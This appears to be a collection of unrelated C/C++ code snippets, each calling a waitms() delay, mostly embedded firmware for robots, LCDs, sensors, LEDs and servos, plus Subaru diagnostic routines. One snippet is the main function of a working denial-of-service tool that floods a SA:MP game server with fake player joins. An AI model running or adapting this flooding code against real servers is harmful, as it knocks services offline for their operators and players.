void main (void) { long command, left, right; int rec, i; P0_5=1; while (1) { printf("%ld\n", travelled); rec = 1; for (i = 0; i < 4; i++){ if (voltage(0) > MIN){ rec = 0; } } if (!rec){ right = getDistance(2); left = getDistance(1); if (orientation == REVERSE){ long temp = left; left = right; right = temp; } if (autonomous){ if (left > right + 300){ motorRight.power = 0; motorLeft.power = totalpower; } else if (right > left + 300){ motorLeft.power = 0; motorRight.power = totalpower; } else if (left > distance * ERROR){ motorLeft.direction = FORWARD; motorRight.direction = FORWARD; motorLeft.power = totalpower; motorRight.power = totalpower; } else if (left < distance / ERROR){ motorLeft.direction = REVERSE; motorRight.direction = REVERSE; motorLeft.power = totalpower; motorRight.power = totalpower; } else { motorLeft.power = 0; motorRight.power = 0; } } } else { motorLeft.power = 0; motorRight.power = 0; waitms(10); //this makes sure that the power change takes effect before shutting off the interrupt command = rx_byte(); implement_command(command); waitms(200); //prevents receiving commands back to back } } }
/*! * Initialisiere Maussensor */ void mouse_sens_init(void) { MOUSE_Enable(); waitms(100); MOUSE_DDR |= MOUSE_SCK_PIN; // SCK auf Output MOUSE_PORT = (BK_U8B) (MOUSE_PORT & ~MOUSE_SCK_PIN); // SCK auf 0 waitms(10); mouse_sens_write(MOUSE_CONFIG_REG, MOUSE_CFG_RESET); // reset sensor mouse_sens_write(MOUSE_CONFIG_REG, MOUSE_CFG_FORCEAWAKE); // always on }
int main (void) { // init lcam_initport(); lcam_reset(); lcam_setup(); waitms(20); // global vars unsigned char buffer[102]; unsigned char pic_pos = 0; unsigned char led_val = 1; while(1) { digitalWrite(C,2,led_val); // start acquiring image lcam_startintegration(); waitus(INTEGRATION); // end integration lcam_stop(buffer); // delay between two successive acquisitions waitms(DELAY); pic_pos = lcam_getpic(buffer); // begin frame uartSendString("START"); //uartSendByte(pic_pos); unsigned char i = 0; for(i=0;i<102;i++) { uartSendByte((buffer[i]>>3)+'0'); //waitus(100); } uartSendByte('\0'); led_val ^= 1; } // never reached }
char go_prosto() { char result = 0; char step_count = 0; if (val == 2) { go_prosto_count++; } for (; step_count < 38; step_count++) { ADC_StartDoubleChannelConversion(ADC_CHANNEL_7, ADC_CHANNEL_5, onDistanceDataRdy); while (!ADC_IsDataReady()) ; OAA_OUTPUT oa_result = avoid_obstacles(level_mask); if (oa_result.gear_left == oa_result.gear_right) { PWM_Set(0, oa_result.speed_left); Kierunek(RIGHT_ENGINES, FORWARD_GEAR); Kierunek(LEFT_ENGINES, FORWARD_GEAR); waitms(100); } result = avoid_obstacle(); } return result; }
static int L2F50113T00_open (void) { LCD_initial (LCLG_dt4); LCD_Display_on (); waitms(1000); return 0; }
uint8_t RetButtons(void){ uint8_t i; uint8_t butt = 0; for(i=0;i<10;i++) { butt |= ~BUT_PIN&(OK|LEFT|RIGHT); butt |= ~BUT_ESC_PIN&(ESC); waitms(5); } if(butt!=0){ if(CompWdTimer(TimeState,BUT_DELAY)){ TimeState = RetWdTimer(); butt_old=butt; }else{ butt &=~butt_old; } } return butt; }
void turn_at_magnetic_angle(double angle) { double turn_angle = 0; mag_info current_mg_i = MMC212xM_GetMagneticFieldInfo(&twid); double current_angle = compute_angle(current_mg_i.y, current_mg_i.x); turn_angle = compute_turn_angle(angle, current_angle); PWM_Set(0, 15); if (turn_angle > 0) { Kierunek(RIGHT_ENGINES, REVERSE_GEAR); Kierunek(LEFT_ENGINES, FORWARD_GEAR); } else { Kierunek(RIGHT_ENGINES, FORWARD_GEAR); Kierunek(LEFT_ENGINES, REVERSE_GEAR); } do { current_mg_i = MMC212xM_GetMagneticFieldInfo(&twid); current_angle = compute_angle(current_mg_i.y, current_mg_i.x); turn_angle = compute_turn_angle(angle, current_angle); waitms(5); } while (ABS(turn_angle) > 1); Kierunek(RIGHT_ENGINES, STOP_GEAR); Kierunek(LEFT_ENGINES, STOP_GEAR); }
void LCD_4BIT (void) { LCD_E=0; // Resting state of LCD's enable is zero LCD_RW=0; // We are only writing to the LCD in this program waitms(20); // First make sure the LCD is in 8-bit mode and then change to 4-bit mode WriteCommand(0x33); WriteCommand(0x33); WriteCommand(0x32); // Change to 4-bit mode // Configure the LCD WriteCommand(0x28); WriteCommand(0x0c); WriteCommand(0x01); // Clear screen command (takes some time) waitms(20); // Wait for clear screen command to finsih. }
void turn_of_angle(double angle) { AT91F_PIO_ClearOutput(AT91C_BASE_PIOA, 0x1 << 29); L3G4200D_Reset(&twid); PWM_Set(0, 15); waitms(1000); if (angle < 0) { TRACE_INFO("-- w lewo -- \r\n"); Kierunek(RIGHT_ENGINES, FORWARD_GEAR); Kierunek(LEFT_ENGINES, REVERSE_GEAR); } else { TRACE_INFO("-- w prawo -- \r\n"); Kierunek(RIGHT_ENGINES, REVERSE_GEAR); Kierunek(LEFT_ENGINES, FORWARD_GEAR); } while (ABS(angle) - ABS(L3G4200D_GetData().sAngle_z) > 0) { L3G4200D_ReadData(&twid); } L3G4200D_Reset(&twid); Kierunek(RIGHT_ENGINES, STOP_GEAR); Kierunek(LEFT_ENGINES, STOP_GEAR); AT91F_PIO_SetOutput(AT91C_BASE_PIOA, 0x1 << 29); }
void reconstruct_reverse_track() { if (get_step_count() > 0) { TRACE_DEBUG("-- reconstruct_reverse_track -- \r\n"); char txt_buff[16]; sprintf(txt_buff, "Total steps: %2d", get_step_count()); HY1602F6_Log("Reversing track", txt_buff); init_oa_configuration(); CD4053_EnableIRSensors(); waitms(1000); int step_count = get_step_count() - 1; for (; step_count >= 0; step_count--) { char lcd_buff1[16]; sprintf(lcd_buff1, "angle: %3d", (int) steps_data[step_count]); char lcd_buff2[16]; sprintf(lcd_buff2, "step: %3d", step_count); HY1602F6_Log(lcd_buff1, lcd_buff2); turn_of_angle(steps_data[step_count]); go_prosto(); } Kierunek(RIGHT_ENGINES, STOP_GEAR); Kierunek(LEFT_ENGINES, STOP_GEAR); } else { TRACE_WARNING("-- No steps recorded. --\r\n"); HY1602F6_Log("Invalid track", "No data found"); } }
void LCDprint(char * string, unsigned char line, bit clear) { int j; WriteCommand(line==2?0xc0:0x80); waitms(5); for(j=0; string[j]!=0; j++) WriteData(string[j]);// Write the message if(clear) for(; j<CHARS_PER_LINE; j++) WriteData(' '); // Clear the rest of the line }
void turnOnLights(void) { //currently I blindly assume that the button press works... //future enhancement would be to check LED's to make sure //they're on and blinking pushButton(FRONTANDBACK,BUTTONPRESS_DURATION); waitms(100); pushButton(FRONTANDBACK,BUTTONPRESS_DURATION); }
bool SSMP1communication_procedures::stopCUtalking(bool waitforsilence) { unsigned char norec_counter = 0; if (!sendStopTalkingCmd()) { #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::stopCUtalking(...): sendStopTalkingCmd() failed.\n"; #endif return false; } if (waitforsilence) { std::vector<char> buffer; TimeM time; time.start(); do { waitms(10); if (_diagInterface->read(&buffer)) { if (buffer.size()) norec_counter = 0; else norec_counter++; } } while ((time.elapsed() < SSMP1_T_RECDATA_CHANGE_MAX) && (norec_counter < 5)); /* TODO: * - invastigate CU-behavior, define a T_MAX_UNTIL_SILENCE (for now, we simply use SSMP1_T_RECDATA_CHANGE_MAX) * - does the CU always complete sending the current message ? (=> 256-byte-blockrates ~ 1.5s !) * => make sure it will work with block-reads (in the future) */ } #ifdef __FSSM_DEBUG__ if (waitforsilence) { if (norec_counter < 5) std::cout << "SSMP1communication_procedures::stopCUtalking(...): timeout.\n"; else std::cout << "SSMP1communication_procedures::stopCUtalking(...): success.\n"; } #endif if (!waitforsilence || (norec_counter >= 5)) { _recbuffer.clear(); _currentaddr = -1; _lastaddr = -1; _addrswitch_pending = false; } return true; }
void pushButton(uint8_t button, uint8_t time_ms) { //pushes the front button (if button == 0), back button (if button == 1), //or both buttons (if button == 2) if(button == 0) { //push front button for time_ms ms DDRB |= 1<<FRONT_BUTTON_PIN; PORTB |= 1<<FRONT_BUTTON_PIN; waitms(time_ms); PORTB &= ~(1<<FRONT_BUTTON_PIN); DDRB &= ~(1<<FRONT_BUTTON_PIN); } else if(button == 1) { //push back button for time_ms ms PORTB &= ~(1<<BACK_BUTTON_PIN); DDRB |= 1<<BACK_BUTTON_PIN; waitms(time_ms); DDRB &= ~(1<<BACK_BUTTON_PIN); } else if(button == 2) { //push both buttons for time_ms ms DDRB |= 1<<FRONT_BUTTON_PIN; PORTB |= 1<<FRONT_BUTTON_PIN; PORTB &= ~(1<<BACK_BUTTON_PIN); DDRB |= 1<<BACK_BUTTON_PIN; waitms(time_ms); PORTB &= ~(1<<FRONT_BUTTON_PIN); DDRB &= ~(1<<FRONT_BUTTON_PIN); DDRB &= ~(1<<BACK_BUTTON_PIN); } else {;} //need some delay because, if there's another call to this function //immediately following this one, the next button push won't register //unless we have this dealy waitms(50); }
void gyroCalculateHdg() { if(gyro_init_flag) { waitms(200); gyroOffset(); gyro_init_flag = 0; } else { prev_read = read; read = ((gyroReadZ() - actual_offset) - ((gyroReadZ() - actual_offset) % SENSITIVITY)) / SENSITIVITY; read = read << 1; integral -= (prev_read + read) >> 1; gyro_ready = 1; } }
static int handle_output_buffer (int terminal_out, char *buffer) { int pid, terminal_buffer = open(buffer,O_WRONLY|O_CREAT,0777); if ( -1 == terminal_buffer ) /* failed */ exit_error("creating buffer <id>_out failed"); pid = fork(); if ( -1 == pid ) /* failed */ exit_error("fork failed"); /* are we parent ? */ if ( 0 != pid ) /* yes - return with child pid */ return pid; /* copy from pseudo terminal to write buffer. Exit when ternminal dies or when killed by parent */ while (-1 != input_timeout(terminal_out,0)) { char buf; if ( 1 == input_timeout(terminal_out,100) ) { int res = read(terminal_out,&buf,1); /* Reading from pseudo terminal in loop until closed */ if ( -1 == res) break; if ( 0 ==res ) waitms(100); else /* keep writing to pseudo terminal */ write(terminal_buffer,&buf,1); } } /* close file */ close(terminal_buffer); /* terminate process */ _exit(1); }
void setTracks(signed short left, signed short right) { waitms(1); if(left >= 0) { setLeftTrackDir(FORWARD); setLeftTrackSpeed(left); } else { setLeftTrackDir(REVERSE); setLeftTrackSpeed(-left); } if(right >= 0) { setRightTrackDir(FORWARD); setRightTrackSpeed(right); } else { setRightTrackDir(REVERSE); setRightTrackSpeed(-right); } }
bool SSMP1communication_procedures::setAddress(SSM1_CUtype_dt cu, unsigned int addr) { if (!sendReadAddressCmd(cu, addr)) { #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::setAddress(...): sendReadAddressCmd(...) failed.\n"; #endif return false; } #ifdef __FSSM_DEBUG__ else std::cout << "SSMP1communication_procedures::setAddress(...): sent read-request for address " << std::hex << std::showbase << addr << '\n'; #endif waitms(SSMP1_T_IC_WAIT); _recbuffer.clear(); _lastaddr = _currentaddr; _currentaddr = addr; _addrswitch_pending = true; _sync = false; return true; }
void main() { unsigned char display_temp[8]; //显示缓存 jdq_1 = 1; jdq_2 = 1; //为1时开启 serial_int(enable, baud9600, disable); //串口初始化 int_lcd1602( rightmove, cursornotdisplay); //1602初始化 int_interrupt( 0, negative_jump); //外部中断0,下降沿触发 int_interrupt( 1, negative_jump); main_timer(on,0); //开启定时器 timer_8_int(0,240,normal); //定时器设置240个脉冲后溢出,并触发中断 main_interrupt(on); //开启总中断 while(1) { /*显示控制阈值*/ display_temp[0] = temp_set%100/10+0x30; //任何数字加0x30转换为可以显示的ASCII码 display_temp[1] = temp_set%10+0x30; display_temp[2] = '\0'; print1602( display_temp, 0,14); printchar1602(' ', 1, 15); /*读取温度传感器1并显示,当读取温度为85时为错误数据,不显示*/ ds18b20_1_exist =int_18b20_1(); //判断传感器是否存在 if( ds18b20_1_exist ==0 ) //为0时存在 { temperature1 = read_temper_1(); //读取温度数据 if(temperature1<85.0) //去除开机第一次显示的错误数据 { translate( temperature1, display_temp); //把float型数据转换为可以显示的数据并放到显示缓存 print1602( display_temp, 0, 0); //显示 } } else //若不存在 { print1602( "Check 1", 0, 1); waitms(500); //清除显示的数据 clear1602_10(0); } /*读取温度传感器2,当读取温度为85时为错误数据,不显示*/ ds18b20_2_exist =int_18b20_2(); if( ds18b20_2_exist ==0 ) { temperature2 = read_temper_2(); if(temperature2<85.0) { translate( temperature2, display_temp); print1602( display_temp, 1, 0); } } else { print1602( "Check 2", 1, 1); waitms(500); clear1602_10(1); } waitms(300); } }
void main() { bit ds18b20_exit; //存储ds18b20是否存在 int time_temp; //存储时间数据 unsigned char temp; //存储char型温度 led_1 = 1; led_2 = 1; BEEP = 1; warning(); serial_int(enable, baud9600, disable); int_lcd1602( rightmove, cursornotdisplay); setds1302(second,0); setds1302(minute,0); setds1302(hour,0); setds1302(year,14); setds1302(month,2); setds1302(day,7); setds1302(weekday,5); ele_mode(1); EA = 1; while(1) { /*显示温度阈值*/ display_temp[0] = temp_set/10%10+0x30; display_temp[1] = temp_set%10+0x30; display_temp[2] = '\0'; print1602( display_temp, 0,14); printchar1602(' ', 1, 15); /*开始测量温度*/ ds18b20_exit =int_18b20(); if( ds18b20_exit ==0 ) { temperature = read_temper(); if(temperature<=80.0) { translate( temperature, display_temp); print1602( display_temp, 0, 0); } } else { print1602( "Not Found", 0, 1); led_1 = 0; led_2 = 0; warning(); waitms(500); clear1602_10(0); } /*设置温度阈值*/ if(key_1==0) temp_set++; if(key_2==0) temp_set--; if(temp_set<10) temp_set = 10; if(temp_set>70) temp_set = 70; /*开始判断温度并指示升温降温*/ temp = (unsigned char)temperature; if(temp>temp_set) { if(temp-temp_set>1) { led_1 = 1; led_2 = 0; warning(); } else { led_1 = 1; led_2 = 1; } } else { if(temp_set-temp>1) { led_1 = 0; led_2 = 1; warning(); } else { led_1 = 1; led_2 = 1; } } /*开始显示时间*/ time_temp =read1302(hour); if(time_temp<=23) { translate_print(time_temp,display_temp); print1602(display_temp,1,2); } time_temp =read1302(minute); if(time_temp<=60) { translate_print(time_temp,display_temp); print1602(display_temp,1,5); } time_temp =read1302(second); time_temp =read1302(second); //读取两次为了保证能够读取数据成功 if(time_temp<=60) { translate_print(time_temp,display_temp); print1602(display_temp,1,8); /*设置冒号闪烁*/ if(time_temp%2!=1) { print1602(" ",1,4); print1602(" ",1,7); } else { print1602(":",1,4); print1602(":",1,7); } } } }
int main (void) { SPIDDR=(1<<SDA)|(1<<CLK)|(1<<CS)|(1<<RESET); //Port-Direction Setup //Init Uart and send OK UCR = (1<<RXEN)|(1<<TXEN); UBRR=(F_CPU / (BAUD_RATE * 16L) - 1); loop_until_bit_is_set(USR, UDRE); UDR = 'O'; loop_until_bit_is_set(USR, UDRE); UDR = 'K'; CS0 SDA0 CLK1 RESET1 RESET0 RESET1 CLK1 SDA1 CLK1 waitms(10); //Software Reset sendCMD(0x01); //Sleep Out sendCMD(0x11); //Booster ON sendCMD(0x03); waitms(10); //Display On sendCMD(0x29); //Normal display mode sendCMD(0x13); //Display inversion on sendCMD(0x21); //Data order sendCMD(0xBA); //Memory data access control sendCMD(0x36); //sendData(8|64); //rgb + MirrorX sendData(8|128); //rgb + MirrorY #ifdef MODE565 sendCMD(0x3A); sendData(5); //16-Bit per Pixel #else //sendCMD(0x3A); //sendData(3); //12-Bit per Pixel (default) #endif //Set Constrast //sendCMD(0x25); //sendData(63); //Column Adress Set sendCMD(0x2A); sendData(0); sendData(131); //Page Adress Set sendCMD(0x2B); sendData(0); sendData(131); //Memory Write sendCMD(0x2C); int i; //Test-Picture //red bar for (i=0;i<132*33;i++) { setPixel(255,0,0); } //green bar for (i=0;i<132*33;i++) { setPixel(0,255,0); } //blue bar for (i=0;i<132*33;i++) { setPixel(0,0,255); } //white bar for (i=0;i<132*33;i++) { setPixel(255,255,255); } //wait for RGB-Data on serial line and display on lcd while(1==1) { loop_until_bit_is_set(UCSRA, RXC); r = UDR; loop_until_bit_is_set(UCSRA, RXC); g = UDR; loop_until_bit_is_set(UCSRA, RXC); b = UDR; setPixel(r,g,b); } }
int main(int argc, char *argv[]) { struct sockaddr_in peer, peerl; struct linger ling = {1,1}; int sd, i, len, ver = 1, z = 0, flood = 0, full = 0, joined = 0; u16 port = PORT; u8 *buff, pass[128], *host, *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "SA:MP invisible Fake Players DoS "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: aluigi.org\n" "edit: by Hordejoy\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [options] <host[:port]>\n" "\n" "-p PORT server port that you can specify also after host, default is %hu\n" "-f flooding option, perfect for slow connections or for testing servers\n" " with many slots\n" "\n", argv[0], port); exit(1); } argc--; for(i = 1; i < argc; i++) { if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2)) { printf("\nError: wrong argument (%s)\n", argv[i]); exit(1); } switch(argv[i][1]) { case 'p': { if(!argv[++i]) exit(1); port = atoi(argv[i]); } break; case 'f': { flood = 1; } break; default: { printf("\nError: wrong argument (%s)\n", argv[i]); exit(1); } } } host = argv[argc]; p = strchr(host, ':'); if(p) { *p = 0; port = atoi(p + 1); } peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; peerl.sin_addr.s_addr = INADDR_ANY; peerl.sin_port = htons(time(NULL)); peerl.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); buff = malloc(BUFFSZ + 1); if(!buff) std_err(); p = buff; p += putmm(p, "SAMP", 4); p += putxx(p, peer.sin_addr.s_addr, 32); p += putxx(p, ntohs(peer.sin_port), 16); p += putxx(p, 'i', 8); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 1, 0); close(sd); sampinfo(buff, len); pass[0] = 0; /* VERSION */ ver = 6; // remember to change this one with new versions! /* VERSION */ printf("- start attack:"); for(;;) { printf("\n Player: "); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); do { peerl.sin_port++; } while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0); p = buff; switch(ver) { case 1: { z = 0; full = 0x14; joined = 0x12; p += putxx(p, 0x03, 8); break; } case 2: { z = 0; full = 0x13; joined = 0x0b; p += putxx(p, 0x0a, 8); break; } case 3: { z = 1; full = 0x1d; joined = 0x10; p += putxx(p, 0x0f, 8); break; } case 4: { z = 1; full = 0x1b; joined = 0x11; p += putxx(p, 0x10, 8); break; } case 5: { z = 0; full = 0x21; joined = 0x18; p += putxx(p, 0x17, 8); break; } case 6: { z = 0; full = 0x1b; joined = 0x12; p += putxx(p, 0x11, 8); break; } default: { printf("\nError: socket timeout, no reply received\n"); exit(1); break; } } p += putmm(p, pass, -1); len = p - buff; if(ver == 5) len = samp03_crypt(buff, len, port, 1, 0); if(ver >= 6) len = samp03_crypt(buff, len, port, 1, 1); len = send_recv(sd, buff, len, (flood == 2) ? NULL : buff, BUFFSZ, &peer, 0, z); close(sd); if(len < 0) { printf("\n- no reply I try with an older version\n"); ver--; continue; } if(flood == 2) { waitms(FLOODMS); continue; } // seems not used //if(ver == 5) len = samp03_crypt(buff, len, port, 0, 0); //if(ver >= 6) len = samp03_crypt(buff, len, port, 0, 1); if(buff[0] == full) { printf("server full"); sleep(ONESEC); continue; } if(buff[0] != joined) { if((buff[0] == 0x13) || (buff[0] == 0x19)) { // \wrong \not set // version 2 doesn't want a password eh eh eh cool! printf("\n- server is protected, insert the password:\n "); fgetz(pass, sizeof(pass)); continue; } printf("\n- unknown packet reply (%d)\n", buff[0]); //exit(1); } else { if(flood) { printf("\n- start flooding\n"); flood = 2; } } } return(0); }
int main(void) { DDRD = 255; DDRB |= (1<<0); DDRB |= (1<<1); DDRB |= (1<<2); DDRB |= (1<<3); DDRB &= ~(1<<4); DDRB &= ~(1<<5); PORTD = 0; PORTB &= ~(1<<0); PORTB &= ~(1<<1); PORTB &= ~(1<<2); PORTB &= ~(1<<3); PORTB &= ~(1<<4); PORTB &= ~(1<<5); int knop1,knop2,select=0,kleur=0,tijd=400,a,b,rgb[3]={1,2,4},c; while(1) { knop1 = PINB&(1<<in1); //==16 is hoog knop2 = PINB&(1<<in2); //==32 is hoog if ((knop1==16)&&(knop2==32)) { for (a=0;a<3;a+=1) { for (b=0;b<10;b+=1) { ledon (7,rgb[a]); waitms (50); dark(); waitms (50); } } for (b=0;b<10;b+=1) { for (a=0;a<3;a+=1) { ledon (7,rgb[a]); waitms (50); dark(); waitms (50); } } for (c=120;c>=0;c-=20) { ledon (1,1); waitms (c); dark(); ledon (2,2); waitms (c); dark(); ledon (3,4); waitms (c); dark(); ledon (4,1); waitms (c); dark(); ledon (1,2); waitms (c); dark(); ledon (2,4); waitms (c); dark(); ledon (3,1); waitms (c); dark(); ledon (4,2); waitms (c); dark(); ledon (1,4); waitms (c); dark(); ledon (2,1); waitms (c); dark(); ledon (3,2); waitms (c); dark(); ledon (4,4); waitms (c); dark(); } for (c=0;c<=120;c+=20) { ledon (1,1); waitms (c); dark(); ledon (2,2); waitms (c); dark(); ledon (3,4); waitms (c); dark(); ledon (4,1); waitms (c); dark(); ledon (1,2); waitms (c); dark(); ledon (2,4); waitms (c); dark(); ledon (3,1); waitms (c); dark(); ledon (4,2); waitms (c); dark(); ledon (1,4); waitms (c); dark(); ledon (2,1); waitms (c); dark(); ledon (3,2); waitms (c); dark(); ledon (4,4); waitms (c); dark(); } fadein (7,7,500); fadeout(7,7,500); dark(); } else if ((knop1==16)&&(knop2!=32)) { ledon (5,1); ledon (6,2); waitms (tijd); dark(); ledon (5,2); ledon (6,4); waitms (tijd); dark(); ledon (5,4); ledon (6,1); waitms (tijd); dark(); ledon (5,1); ledon (6,2); waitms (tijd); dark(); ledon (5,2); ledon (6,4); waitms (tijd); dark(); ledon (5,4); ledon (6,1); waitms (tijd); dark(); dark(); } else if ((knop1!=16)&&(knop2==32)) { for (kleur=1;kleur<8;kleur+=1) { fadein (7,kleur,700); fadeout(7,kleur,700); waitms(600); } dark(); } else { fadein (7,1,700); fadeout(7,1,700); waitms (600); dark(); } } }
bool SSMP1communication_procedures::getID(unsigned char extradatalen, std::vector<char> * data) { const unsigned int t_max_total = (SSMP1_T_ID_RECSTART_MAX + 1000*(3+extradatalen)*8/1953) * 2; const unsigned char max_bytes_dropped = 15; // NOTE: depends on last request; min. 12 (seen with Ax10xx TCU) if last CU reply message length is 3 bytes std::vector<char> tmpbuf; unsigned char bytes_dropped = 0; bool IDvalid = false; bool IDconfirmed = false; unsigned int cu_data_len = 0; bool timeout; if (!sendQueryIdCmd(0)) return false; waitms(SSMP1_T_IC_WAIT); _recbuffer.clear(); _currentaddr = -1; _lastaddr = -1; _addrswitch_pending = false; if (!_diagInterface->clearReceiveBuffer()) return false; if (!sendQueryIdCmd(extradatalen)) { #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::getID(...): sendQueryIdCmd() failed.\n"; #endif return false; } if (!_diagInterface->clearReceiveBuffer()) return false; /* NOTE: Problem: * - we can not rely in buffer flushing because of driver/OS/hardware latencies and bugs * - control units need some time until they switch from sending data from the previous * (read address) request to sending the control unit ID (+data) */ TimeM time_total; TimeM time_inter_byte; time_total.start(); time_inter_byte.start(); do { waitms(20); // Read data, append to receive buffer tmpbuf.clear(); if (!_diagInterface->read(&tmpbuf)) { _recbuffer.clear(); return false; } if (tmpbuf.size()) { _recbuffer.insert(_recbuffer.end(), tmpbuf.begin(), tmpbuf.end()); // Restart inter byte timer time_inter_byte.start(); // Validate ID (the first 3 bytes) while (!IDvalid && _recbuffer.size() && (bytes_dropped < max_bytes_dropped)) { bool drop_byte = false; // Check if we have a valid ID at the beginning of the buffer if ((_recbuffer.at(0) & 0xF0) == 0x70) { IDvalid = true; } else if ((_recbuffer.at(0) & 0xF0) == 0xA0) { if (_recbuffer.size() > 1) { if ((_recbuffer.at(1) == 0x01) || (_recbuffer.at(1) == 0x10)) IDvalid = true; else drop_byte = true; } else break; } else { drop_byte = true; } // Drop first byte from receive buffer if it is not the beginning of a valid ID if (drop_byte) { _recbuffer.erase(_recbuffer.begin(), _recbuffer.begin() + 1); bytes_dropped++; } } // Check for repeating byte sequence(s) if (IDvalid && (_recbuffer.size() > 3)) { unsigned int id_index = 0; for (unsigned int buf_index=3; buf_index<_recbuffer.size(); buf_index++) { // Compare next byte: if (_recbuffer.at(id_index) == _recbuffer.at(buf_index)) { cu_data_len = buf_index - id_index; id_index++; } else { cu_data_len = buf_index + 1; buf_index -= id_index; id_index = 0; } // Check if we have reached an invalid ECU data length // FIXME: be more strict with CUs with Ax xx xx ID: compare cu_data_len with (3 + extradatalen) if ((cu_data_len > 3) && ((_recbuffer.at(0) & 0xF0) == 0x70)) { // NOTE: ID must be invalid, 7x xx xx IDs are always 3 bytes long ! IDvalid = false; // Drop first byte from receive buffer _recbuffer.erase(_recbuffer.begin(), _recbuffer.begin() + 1); bytes_dropped++; break; } } // Check if we have enough repetitions // NOTE: we could do this earlier (inside the loop), but - hey - why not check ALL data we have received ?! if (id_index >= 3) /* NOTE: 3 bytes should be enough. The chance that we are comparing the wrong bytes and have two identical 3 byte sequences is 1/(256^3) */ IDconfirmed = true; } } // Check if timeout timeout = (time_total.elapsed() > t_max_total) || (time_inter_byte.elapsed() > SSMP1_T_ID_RECSTART_MAX); } while (!IDconfirmed && !timeout && (bytes_dropped < max_bytes_dropped)); // For control units with non-repeating data: validate ID by checking the length if (!IDconfirmed && IDvalid && timeout && (bytes_dropped < max_bytes_dropped) && (_recbuffer.size() >= 3)) { if (((_recbuffer.at(0) & 0xF0) == 0x70) && (_recbuffer.size() == 3)) // NOTE: >3 not possible at this point { IDconfirmed = true; cu_data_len = 3; } else if ((_recbuffer.at(0) & 0xF0) == 0xA0) { if ((_recbuffer.at(1) == 0x01) && ((_recbuffer.size() == 3) || ((_recbuffer.size() > 3) && (_recbuffer.size() <= 3+255)))) { /* FIXME: IMPROVE ! * how does the number of received bytes correspond to extradatalen ? * Is it possible that controllers end more/less bytes than requested ? */ IDconfirmed = true; cu_data_len = _recbuffer.size(); } else if ((_recbuffer.at(1) == 0x10) && ((_recbuffer.size() == 3) || (_recbuffer.size() == (3 + static_cast<unsigned int>(extradatalen))))) { IDconfirmed = true; cu_data_len = _recbuffer.size(); } } #ifdef __FSSM_DEBUG__ if (IDconfirmed) std::cout << "SSMP1communication_procedures::getID(...): the control doesn't send its ID continuously, ID validated by length check.\n"; else std::cout << "SSMP1communication_procedures::getID(...): the control doesn't send its ID continuously, ID length check failed.\n"; #endif } // Extract data: if (IDconfirmed) { data->assign(_recbuffer.begin(), _recbuffer.begin() + cu_data_len); #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::getID(...): received ID with length " << std::dec << cu_data_len << ": "; std::cout << libFSSM::StrToMultiLineHexstr(*data); #endif } #ifdef __FSSM_DEBUG__ else { if (bytes_dropped >= max_bytes_dropped) std::cout << "SSMP1communication_procedures::getID(...): failed to read ID from control unit: maximum number of non-ID-bytes reached.\n"; else // timeout std::cout << "SSMP1communication_procedures::getID(...): failed to read ID from control unit: timeout.\n"; } #endif _recbuffer.clear(); return IDconfirmed; }
int main(void) { lcd_init(LCD_DISP_ON); lcd_clrscr(); lcd_puts("Je suis"); lcd_gotoxy(0,1); lcd_puts("Roberto"); int i, pos_servo, flag_error = 0; DDRC = 0xFF; DDRD = 0xFF; DDRA = 0x80; PORTD = 0b01100011; PORTC = 0b00000000; set_servo(0, 20); set_servo(1, 80); set_servo(2, 50); set_servo(3, 50); set_servo(4, 50); while(1) { /* if(_PINA0 == 1 ) { if(_PINA1 == 0) { _PORTA7 = 1; } else _PORTA7 = 0; } else _PORTA7 = 0; */ /* _PORTA7 = 1; waitms(3000); _PORTA7 = 0; waitms(5000); */ /* if(_PINA5 == 1 ) { set_servo(3, 20); } else set_servo(3, 50); */ if(_PINA0 == 1) { sortie: PORTD = 0b11000110; lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Payez le gentil"); lcd_gotoxy(0,1); lcd_puts("serveur SVP"); while(_PINA5 == 0); PORTD = 0b00100001; lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Et un Ricard"); for(i=0; i < 69; i++) { set_servo(0, 20 + i); waitms(20); } i = 0; while(_PINA2 == 0) { set_servo(1, 80 - i); waitms(20); i++; } pos_servo = i; while(_PINA0 == 1 && _PINA2 == 1 && _PINA1 == 0) _PORTA7 = 1; if(_PINA2 == 1 && _PINA0 == 1) { set_servo(2, 30); waitms(400); set_servo(2, 70); waitms(400); set_servo(2, 30); waitms(400); set_servo(2, 70); waitms(400); set_servo(2, 30); waitms(400); set_servo(2, 70); waitms(400); set_servo(2, 30); waitms(400); set_servo(2, 70); waitms(400); set_servo(2, 30); waitms(400); set_servo(2, 70); waitms(400); set_servo(2, 50); flag_error = 0; } else { PORTD = 0b10000100; lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Nous avons"); lcd_gotoxy(0,1); lcd_puts("un probleme."); flag_error = 1; } _PORTA7 = 0; waitms(5000); for(i=0; i < 70; i++) { set_servo(1, 10 + i); waitms(30); } if(flag_error == 0) { lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Et voila."); PORTD = 0b01000010; } while( _PINA0 == 1) { set_servo(4, 10); set_servo(3, 90); waitms(200); set_servo(4, 50); set_servo(3, 50); waitms(200); set_servo(4, 10); set_servo(3, 90); waitms(200); set_servo(4, 50); set_servo(3, 50); waitms(2000); } for(i=0; i < 70; i++) { set_servo(0, 85 - i); waitms(30); } if(flag_error == 0) { 